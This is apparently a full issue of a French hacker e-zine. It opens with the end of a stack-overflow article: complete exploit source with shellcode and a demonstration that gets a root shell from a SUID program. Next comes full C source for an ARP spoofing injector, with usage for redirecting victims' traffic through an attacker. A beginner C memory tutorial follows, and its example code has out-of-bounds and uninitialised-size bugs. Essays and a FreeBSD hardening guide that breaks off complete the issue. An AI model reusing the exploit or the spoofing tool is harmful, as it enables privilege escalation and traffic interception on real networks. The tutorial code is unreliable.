#include <stdio.h> #include <unistd.h> #include <stdlib.h> #define SIZEB 6 #define OWN 8 #define ROOT "./stack" #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh)) #define ccopy(a, b) *((int *) &arg[1][a]) = b int main(int arc, char *arv[]) { char sh[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d" "\x5b\x31\xc0\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd" "\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; char *arg[] = { ROOT, "phear", NULL }; char *env[] = { sh, NULL }; arg[1] = malloc(SIZEB + OWN + 1); memset(arg[1], '0', SIZEB + OWN); ccopy(SIZEB+OWN-4, ARG); execve(arg[0], arg, env); }
Explication: En faite c'est la ligne suivante qui va calculer l'adresse du sh dans l'env: #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh)) Le pointeur sur tableau *env[] contient seulement le shellcode Testons maintenant notre exploit: icefox@evil~$ ./exploit sh-2.05b$ Voilà ! on à chopé notre shell :) Il reste encore un problème: icefox@evil~$ whoami icefox Le programme vulnérable appartient à l'utilisateur "icefox" (moi quoi:>) donc nous avons les droits de cet utilisateur seulement. Simulons un programme vulnérable ayant les droits SUID: root@evil~# chown root.root stack root@evil~# chmod +s stack icefox@evil~$ ./exploit sh-2.05b# whoami root Oh yeah ;) [
Conclusion ] On a réussi à exploiter ce stack overflow sans avoir à calculer l'adresse de retour, qui n'aurait pas été l'adresse exacte, alors que là, du premier coup on tombe sur le shellcode sans avoir à se préoccuper d'un grand nombre de NOP (c'est pourquoi on voit souvent des "nops sux" :> ) Je tiens à préciser quelques points: - avec les nouvelles versions de gcc, un padding a été ajouté pour "retarder" les Bofs. En faite dans ce papers les démonstrations ont été faites avec les valeurs théoriques. Sur ma box, avec un buffer de 6 octets, l'overflow se produisait qu'à partir de 28 octets environ :) Ce padding met au point aussi une sécuritée anti off-by-one. - Finalement, je précise clairement que vous ne trouverez jamais ce genre de failles. En effet ces failles ne sont plus du tout répandues et ont toutes été quasiment exploitées et corrigées. Mais n'ayez raintes vous n'avez pas perdu de temps: comprendre ce principe c'est comprendre l'exploitation complète sous toutes ses formes. (off-by-one, etc..) Vous pouvez vous pencher sur des failles plus "à la mode " comme les Ret Into Libc, les Ret Into PLT etc... Icefox [www.artkod.info] [x] Spécial greets to Nelio pour la relecture et Nocte pour ce qu'il m'enseigne. Bibliographie: [1] Exploitation avancée des stack overflow - Nostrobo [2] Programmer un IDS contrant les shellcodes polymorphiques - Nocte [3] Smashing the stack for fun & profit - Aleph1 [4] Nop Sux ... Buffer overflow & shellcode sans Nops - Seb-Sb topic _________________________________________________________ | Entre-Articles Smash3r | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ LA NORME ] | (a.k.a.: Mouton noir, mouton quand même) | | Le changement fait peur. Nous avons peur de ce qui est différent. plutôt que | d'essayer de comprendre, on rejette. C'est beaucoup plus facile. On essaie | d'atteindre un idéal, d'avoir une belle image, de bien paraitre. Si notre | opinion diffère de la majorité, on essaie de 'y conformer pour éviter | d'être différent. On rit de ce qu'on ne comprend pas, on le rejette en le | tournant au ridicule, plutôt que d'y faire face et d'essayer de comprendre. | On cède alors à la facilité. Mais au fond de nous-mêmes, nous savons que nous | sommes différents les uns des autres... À force de se conformer à la norme, | on finit par devenir normal, ce qui est rassurant. Mais cette opinion que | nous exprimons est-elle réellement la nôtre ou sagit-il de celle de la | majorité, à laquelle nous tentons de nous conformer pour être normal? | À force de vouloir être normal, n'avez-vous pas l'impression de vous | éloigner de vous-même? Nous avons peur de dévoiler notre opinion aux | autres lorsqu'elle est différente, parce que nous savons qu'elle sera | tourné au ridicule. Nous avons peur d'être différent, mais pourtant, nous | sommes déjà tous différents. Peut-être êtes-vous même en train de tourner | mes propos en ridicule puisque mon opinion diffère du vôtre? Si c'est le | cas, vous cédez encore une fois à la facilité... | | Qu'est-ce que la norme? Être normal? Mais alors, qu'est-ce qu'être normal | Quand vous regardez une foule, n'est-ce pas celui ou celle qui semble | différent que vous remarquez? Quand vous tombez amoureux, est-ce pas parce | que la personne que vous aimez est différente des autres, qu'elle a | quelque chose de spécial, qu'elle vous attire? Nous essayons de ressembler ____| aux autres, mais nous nous plaisons pourtant à contempler ce qui déteint de la majorité... Ce qui est intéressant, ce qui attire notre attention est ce qui est anormal, ce qui sort de l'ordinaire. Mais ce qui est anormal nous fait peur et plutôt que de faire l'effort de comprendre, on le fuit, en le rejetant. À force de se conformer à la norme, on finit par ne plus être nous-mêmes... Mais peut-être devrions-nous constater qu'il est anormal d'être normal? - Smash3r .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O8 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Arp injector ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Ivanlef0u [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | --------[ Intro Hello World, et voici encore un article sorti tout droit de la tête de l'horrible Ivanlef0u. Aujourd'hui le sujet du jour consiste a coder un tool nous permettant de forger des packets ARP (Gruut??), le protocole ARP(Address Resolution Protocol) permet tout simplement de convertir une adresse IP en adresse mac. C'est un protocole qui se situe dans la couche 3 du modele OSI (réseau) juste en dessous on a généralement de l'ethernet (couche liaison). Voici un header arp: Arp Header format 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Hardware type | Protocol type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Hard addr len | Proto addr len | Opcode | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source hardware address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source protocol address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination hardware address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination protocol address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Hardware type: 16 bits 1 pour ethernet. Protocol type: 16 bits 0x800 pour IP. Hardware address length: 8 bits Nous on met 6. Protocol address length: 8 bits 4 pour nous. Opcode: 16 bits Cool un truk intéressant, cela détermine a quoi va servir notre packet: |Value | Description +--------------------- |1 | Request +--------------------- |2 | Reply +--------------------- |3 | Request Reverse +--------------------- . . Je ne mets pas le reste, ça n'a pas d'interet ici. Alors, lorsque vous voulez vous connect a un pc de votre réseau, il faut que votre pc connaisse l'adresse mac de celui-ci. Voici une trame capturée par Ethereal, on peut y voir l'entête Ethernet et ARP. (Ethernet n'est que sur les 14 premiers octets) [broadcoast mac ] [ mon mac ] [arp]{[eth] 0000 ff ff ff ff ff ff 00 0f 66 c6 ae 09 08 06 00 01 ........f....... [ip ] [req ] [ mon mac ] [ mon ip ] 0010 08 00 06 04 00 01 00 0f 66 c6 ae 09 c0 a8 00 f2 ........f....... [ dest mac ] [ son ip ]} 0020 00 00 00 00 00 00 c0 a8 00 5a .........Z Voici le prob, mon Pc a l'IP 192.168.0.242 (c0 a8 00 f2) et la mac 00:0F:66:C6:AE:09 (cisco pour ceux qui sont curieux) et il veut savoir la mac du pc qui a comme ip 192.168.0.90 (c0 a8 00 5a) il envoie donc un ARP avec l'opcode Request a tout le réseau FF:FF:FF:FF:FF:FF et le pc concerne doit normalement lui réponde par un arp avec l'opcode reply contenant son mac. En fait, ce que font les OS de nos jours, au lieu de demander a chaque fois quelle est l'adresse mac du destinaire ils mettent en place un cache contenant les mac des pc contactes. Sous windows pour voir cette table tapez dans un shell arp -a --------[ L'attaque des clones +--------------+ | Robert | -----------------------------------+ | 192.168.0.2 | | | mac2 | | +------+-------+ | | | +------+-------+ +-------------+ | Albert |-------------------------------| Passerelle |---------WEB | 192.168.0.3 | | 192.168.0.1 | | mac3 | | mac1 | +------+-------+ +-------------+ | | | | +------+-------+ | | Hacker |------------------------------------+ | 192.168.0.4 | | mac4 | +--------------+ Voici le schéma, Robert, Albert et Hacker utilisent une passerelle pour se connecter au web, un NAT tout classique comme il en existe partout. Ils ont donc tous dans leur cache arp, la mac de la passerelle et celle de leurs confrères. Ban imaginons que Albert et Robert croient que l'adresse mac de la passerelle est celle de Hacker ! tout les packets qui sont destines a la passerelle seront déroute sur Hacker qui pourra s’il est malin créer un NAT pour reroute les packets sur la passerelle et s’il veut injecter ds données dans celles-ci, bref prendre le contrôle des connexions de Robert et Albert. --------[ 1F Y0U C4N R34D 7H15 7H3N Y0U N33D 70 637 0U7 Alors déjà pour commencer j'ai whine. Aucun librairie documentée de windows ne supporte le protocole ARP, la lib winsock ne peut pas aller plus bas que la couche IP, comme nous avons aussi besoin de forger la couche 2, ethernet, je me suis donc rabattu sur la WinPcap librairie de capture réseau notammentutilisee parEthereal. Il nous faut donc le kit de développement de Pcap dispo ici: http://www.winpcap.org/install/bin/WpdPack_3_1.zip Ensuite comme j'utilise MsVC++ 6.0 il faut le configurer afin qu'il prenne en compte cette new lib alors chez moi je fais: Tools->Options->Directories Dans Include files je met ou se trouve \WpdPack\Include et dans Librairie files je mets ou est WpdPack\Lib Apres je vais dans Project->Settings->C/C++ dans Preprocessor définitions j'ajoute WPCAP et dans Project Options je rajoute /D "HAVE_REMOTE" (ça, je sais pas trop pkoi d'ailleurs) Enfin je vais dans l'onglet Link et je fous wpcap.lib avec les autres. Voila norm le compilo et le linker sont bons, reste plus qu'a coder. Si ça ne marche pas chez vous, regardez le projet sur mon site. La WinPcap n'est pas une librairie difficile, on va juste ouvrir une interface, la bonne de préférence, nous mettre en mode PROMISCUOUS dessus, forger le packet et l'envoyer, tout est documente en plus de façon claire alors je ne m'attarde pas dessus.
#include <stdio.h> #include <pcap.h> #include <windows.h> u_char * str2hex(char * str); pcap_if_t *ifselector(int inum); void showhelp(); struct ETH_HDR{ u_char dst[6]; u_char src[6]; u_short type; }; struct ARP_HDR { u_short hard; u_short proto; u_char hard_len; u_char proto_len; u_short opcode; u_char hard_addr_src[6]; u_int proto_addr_src; u_char hard_addr_dst[6]; u_int proto_addr_dst; }; char errbuf[PCAP_ERRBUF_SIZE]; pcap_if_t *alldevs; u_char buff[7]=""; int main(int argc, char *argv[]) { struct ETH_HDR eth; struct ARP_HDR arp; if(argc==1) { showhelp(); return 0; } if (argv[1][0]=='l') { ifselector(0); return 0; } if(atoi(argv[1])<=0 || atoi(argv[1])>255 || inet_addr(argv[2])==INADDR_NONE || strlen(argv[3])!=17 || inet_addr(argv[4])==INADDR_NONE || strlen(argv[5])!=17 || atoi(argv[6])<0 || (u_short)atoi(argv[6])>4096 || atoi(argv[7])<0 || (u_int)atoi(argv[7])>65535) { showhelp(); return -1; } pcap_t *adhandle=NULL; if((adhandle= pcap_open(ifselector(atoi(argv[1]))->name, 65536, PCAP_OPENFLAG_PROMISCUOUS, 1000, NULL, errbuf )) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", ifselector(atoi(argv[1]))->name); pcap_freealldevs(alldevs); return -1; } memset(ð,0,sizeof(ETH_HDR)); eth.type=htons(0x0806); //Type code Arp memcpy(ð.dst,str2hex(argv[3]),6); memcpy(ð.src,str2hex(argv[5]),6); memset(&arp,0,sizeof(ARP_HDR)); arp.hard=htons(1); arp.proto=htons(0x800); arp.hard_len=6; arp.proto_len=4; arp.opcode=htons(atoi(argv[6])); memcpy(&arp.hard_addr_dst,str2hex(argv[3]),6); memcpy(&arp.hard_addr_src,str2hex(argv[5]),6); arp.proto_addr_src=inet_addr(argv[4]); arp.proto_addr_dst=inet_addr(argv[2]); u_char packet[sizeof(ETH_HDR)+sizeof(ARP_HDR)]; memset(packet,0,sizeof(packet)); memcpy(packet,ð,sizeof(ETH_HDR)); memcpy(packet+sizeof(ETH_HDR),&arp,sizeof(ARP_HDR)); for (int i=0;i<atoi(argv[7]);i++) { printf("packet: %d sent\n",i); if (pcap_sendpacket(adhandle,packet, sizeof(packet)) != 0) { fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle)); return -1; } } pcap_freealldevs(alldevs); return 0; } u_char * str2hex(char * str) { for (int i=0;i<17;i+=3) { char * ptr=str+i+1; //put1 de strtol buff[i/3]=(u_char)strtol(str+i,&ptr,16); } return (u_char *)buff; } void showhelp() { printf("Arp packet injector by Ivanlef0u\n"); printf("Usage is: arp_inj <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac> <opcode> <number of packets>\n"); printf("Use arp_inj l to list interfaces\n"); printf("Exemple:arp_inj 3 192.168.0.255 ff:ff:ff:ff:ff 192.168.0.1 aa:bb:cc:dd:ee:ff 2 10 \n"); } pcap_if_t * ifselector(int inum) { pcap_if_t *d=NULL; int i=0; if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(-1); } for(d=alldevs; d; d=d->next) { i++; if(inum ==0) { printf("%d. %s",i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); exit(-1); } if(inum>=1 && inum<=i) { for(d=alldevs, i=0; i< inum-1;d=d->next, i++); return d; } return NULL; }
Alors pour utiliser c'est pas trop dur arp_inj <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac> <opcode> <number of packets> Donc si Hacker veut faire croire a Robert que la passerelle a son mac il fait: arp_inj <son_interface> 192.168.0.2 <mac2> 192.168.0.1 <mac4> 2 10 Ainsi Hacker va envoyer des packets arp avec l'opcode Reply faisant croire que 192.168.0.1 a la mac de Hacker, youplaboom! Ha vi pour voir vos interfaces faites: arp_inj l --------[ Conclusion Vous avez pu voir que forger des packets avec la WinPcap n'était pas si, difficile que ça et qu’on peut en faire un usage très pratique. Il existe de nombreuses techniques de détournement utilisant un forgeur de packet arp, voulant comprendre comment cela marchait j'ai décidé de coday un tool, même si il n'est pas super impressionnant il marche et c'est déjà bien :] Vous trouverez les codes et bin sur mon site dans zine/moi Ivanlef0u EMail:ivanlef0u119@yahoo.fr WebSite:
http://membres.lycos.fr/moi118118 --------[ Références http://www.security-labs.org/index.php3?page=606 http://www.madchat.org/reseau/arp/ topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O9 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Utilisation de l'espace mem en c ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Kitoy [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | |
#include #include #include /* Un mec je sais plus qui, a un jour inventé l'algorithme de l'ajout de 1 ou 1 unité et c'est la raison pour laquelle le srckitoy1 vint le srckitoy2 eh oui c'est comme le mot connerie dont mon intro à la con répond a sa définition. * Bon alors on va parler de quoi dans ce cour? Eh bien c'est une bonne question. On va parler des allocations mémoires. * --- --- --- --- --- --- * Alors premièrement pourquoi avons-nous besoin de mettre des données en mémoire. Tout simplement car vous sortez d'une fonction le programme détruit toutes les variables qui ont était créé a l'intérieur vous me direz oui, mais avec la fonction return on peut garder le résultat et je vous poserai la question suivante Eh on veut sauvegarder plusieurs variables de type différent? Bah voila pourquoi on a besoin de mettre des données en mémoires pour sauvegarder plusieurs variables de types différentes ou non.il faut savoir aussi que le langage C est un langage dit bas niveau c'est-à-dire que ce langage est dit près du langage machine. Ce qui fait nous contrôlons le type de variables, les blocs qu'on alloue dans la mémoire contrairement aux langages dits haut niveau qui font ça automatiquement. Donc, voila comment ça se passe brièvement dans notre programme quand nous appelons notre fonction: Il crée les variables qu'on indente et les met dans la pile du programme, le programme exécute les instructions qui composent la fonction appelée et ensuite detruit complètement les variables crée, et donc notre mission dans ce cour sera d'allez les sauver et de leur trouver un refuge (dans la mémoire) eh ouais c'est comme les inondations la vers chez on va chercher les gens qui sont dans l'eau et on les stocke dans des maisons ou des établissements bah la on va faire pareille ;). * */ typedef struct victimes_s{ int age_vict; char nom_vict[16]; int f_ou_m; }victimes_t; /* Bon alors ici je créer un type de variable c'est a dire par exemple un int vous la variable pour les chifres ;). Eh ben la c'est pareil sauf que mon type de variables peut contenir des chiffres et des lettres, mais non pas l'émission rhaaaa :D. * */ victimes_t *gen_victimes(int nbr){ victimes_t *vict[nbr]; // Bon ici on créer un tableau de une case ou une liste de victimes. char *nom[5]; int nbr_name, age, mf; nom[0] = "robert"; nom[1] = "bernard"; nom[2] = "loulou"; nom[3] = "cosette"; nom[4] = "abdel aziz"; nom[5] = "fatima"; /* Bon au-dessus bien je créer une liste de chaines de caractère qui contiendra les noms qui seront pris au hasard*/ vict[nbr] = malloc(sizeof(victimes_t)); /* Ici on construit l'abri de la victime c'est qu'on lui donne un espace pour s'installer, en langage informatique : on créer de un espace dans la mémoire = a la taille de notre variable . Par exemple si on aurait mis malloc(sizeof(int)); on aurait occuper 16bits de plus en mémoire sois 2 octects car 1 octect = 8bits. */ age = 7+(int) (70.0*rand()/(RAND_MAX+1.0)); //Cette fonction nous gen�es un nombre au hasard //entre 7 et 77 vict[nbr]->age_vict = age; nbr_name = 0+(int) (6.0*rand()/(RAND_MAX+1.0));// m�e chose ici avec une intervalle de 0 a 6 strcpy(vict[nbr]->nom_vict, nom[nbr_name]); if(nom[nbr_name] == "loulou" || nom[nbr_name] == "cosette" || nom[nbr_name] == "fatima") { mf = 1; } else{ mf = 0; } /* La fonction ci-dessus teste si le prénom est un prénom de femme ou un prénom d'homme et indente mf de 1 si c'est une femme et de 0 si c'est un homme eh oui si on avait pris la fonction rand on serait retrouver avec une femme robert ou abdel aziz :s */ vict[nbr]->f_ou_m = mf; return vict[nbr]; } int main(){ int nbr, i; victimes_t *vict[nbr]; printf("Bonjours je suis dieu et mon seul pouvoir est de faire des victimes dans le monde. \n dis moi combien veux-tu de victimes? \n :"); scanf("%d", &nbr); for(i=0; inom_vict); printf("AGE: %d \n", vict[i]->age_vict); if( vict[i]->f_ou_m == 1){ printf("SEXE: femme \n"); } else{ printf("SEXE: homme \n"); } free(vict[i]); /* Qpres avoir utiliser l'espace mémoire on le libère pour faire les choses proprement vous savez quand votre mère vous dit "Tu pourrai lever ta table " Ben la c'est pareil il faut débarrasser la mémoire bon ... l'ordis il est comme votre mère si vous ne débarrassez votre table a la sortie du programme l'ordinateur le fera comme votre mère quand vous sortez de la cuisine ;) MAIS C'EST PAS UNE RAISON POUR NE PAS LE FAIRE !!!! */ } return 0; } /* Bon voila c'est tout je sais que mes sources sont très très courtes, mais bon comme ils s'adressent a des débutants c'est mieu de faire une chose à la fois sinon ils s'embrouillent très vite voila en espérant que cette source vous aidera je vous souhaite a tous une bonne continuation dans le codaz et je vous donne rendez-vous pour le 3eme numero qui traitera normalement sur le réseau */ //Source sous license GPL Bien que... on risque pas de pomper dessus ;)
Écrit par Kitoy __ __ __ _____ / / / /___ ______/ /_|__ / _____ _____ / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/ / __ / /_/ / /__/ ,< ___/ / |/ / __/ / /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed.
topic _________________________________________________________ | Entre-Articles Wyzeman | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Les Vulgaires Ordis, Buffer sans fond ] | | J’ veux rien savoir d’ la qualité, j’ veux qu’ y ’ ait beaucoup de pages | J’ collectionne les cahiers qui me parlent de rootage | J’ me gave sans fin des zarticles divers jusqu’ à l’indigestion | Je suis mal informé, les ezine ont bien raison | Je suis comme un buffer sans fond | Je suis comme un buffer sans fond | c’est devenu dramatique ; j’ sais pu c’ qui faut que j’ fasse | Je sais tout sur Neda et sa vie avec Binf | pour combler le vide de ma vision globale | J’ai tous les arguments débile sur le système unix | Je suis abonné au Ezine de Mindkind | Je suis abonné au Ezine | 20 haxors à 2 balles, lancent 20 exploits pareils | Un homme se firewall et paquet drop internet | Binf se fait poser une byte en métal | Nous enregistrons une baisse dans le Q.I. général | Je suis abonné au Ezine de Mindkind | Je suis abonné au Ezine de Mindkind | Je suis comme un buffer sans fond | Je suis comme un buffer sans fond | | | | | ____| _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 10 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Securisation dune FreeBSD ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Oda [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | Après avoir installé un FreeBSD la grande question est à présent : comment la sécurise un peu plus qu'elle ne l'est déjà??

I) Changement de cryptage par défaut de mot de passe utilisateur :

    Par défaut FreeBSD propose le cryptage md5 pour les mots de passe. Or l'OS propose le 
Blowfisg pour modifier le cryptage fait un vi /etc/login.conf et modifiez ceci :
    
   :passwd_format=md5:\




 par
   
   :passwd_format=blf:\


 

    Voila a present pour que les modifs soient prises en compte faites :
    cap_mkdb /etc/login.conf

    À présent il faut préciser a la commande adduser que l'on a modifié de cryptage pour cela 
    ajouter la ligne suivante dans /etc/auth.conf :

    crypt_default = blf

 Maintenant il n'y a plus qu'a modifier vos mots de passe via passwd pour que le nouveau cryptage 
soit pris en compte.



 

II) Niveau de sécurité du noyau :

II-1) Characteristique chflags :

Il est possibles sous freeBSD d'interdire certaines actions sur des fichiers mêmes à root. Cela peut s'avérer utiles par exemple dans le cas ou les fichiers de log ne peuvent être supprimer, dans ce cas sur une machine compromise le hacker devenu root ne pourra supprimer ces traces... Il existe differents degre de protection : arch : le fichier devient une archive sappend : on ne peut que rajouter des donnes a un fichier plus en retire (cas de mon exemple pour les log) schg : empêche la suppression + changement de droits sur le fichier sunlnk : empêche la suppression du fichier Pour modifier un attribut il suffit de faire : chflags sappend /var/log/*.log Pour retirer un attribut : chflags nosappend /var/log/*.log

II-2) Niveau de sécurité :

Sous FreeBSD il existe plusieurs niveaux de sécurité kernel : niveau -1 : valeur par default niveau 0 : les files chflags du type schg et sappend peuvent être retirés niveau 1 : les files chflags du type schg et sappend ne peuvent pas être retirés /dev/mem et /dev/kmem est interdit en ecriture impossible de charger des modules kernels niveau 2 : idem que niveau 1 avec en plus que seul le montage et démontage des disques sont permit niveau 3 : idem a 2 impossible de modifier les règles du pare-feu Pour choisir un niveau de sécurité ajouter une ligne de ce type dans le fichier /etc/rc.conf kern_securelevel_enable="YES" kern_securelevel="X" Ou X est un des chiffres ci-dessus. Pour modifier un secoure level a chaud il suffit de faire sysctl kern.securelevel=X Toujours avec X un des chiffres du dessus.

II-3) Etude de cas :

Pour ceux qui n'aurait pas bien saisi le but de ces options voici un exemple concret : Sur la machine je fait un chflags sappend /var/log/*.log ce qui rend les logs indestructibles, si je laisse le kernel par default en niveau -1, un utilisateur devenu root pourra retire la protection par contre en secure level a 1 ou plus même root ne pourra retirer ces arguments et donc ne pourra pas effacer ces traces.

III) Sysctl :

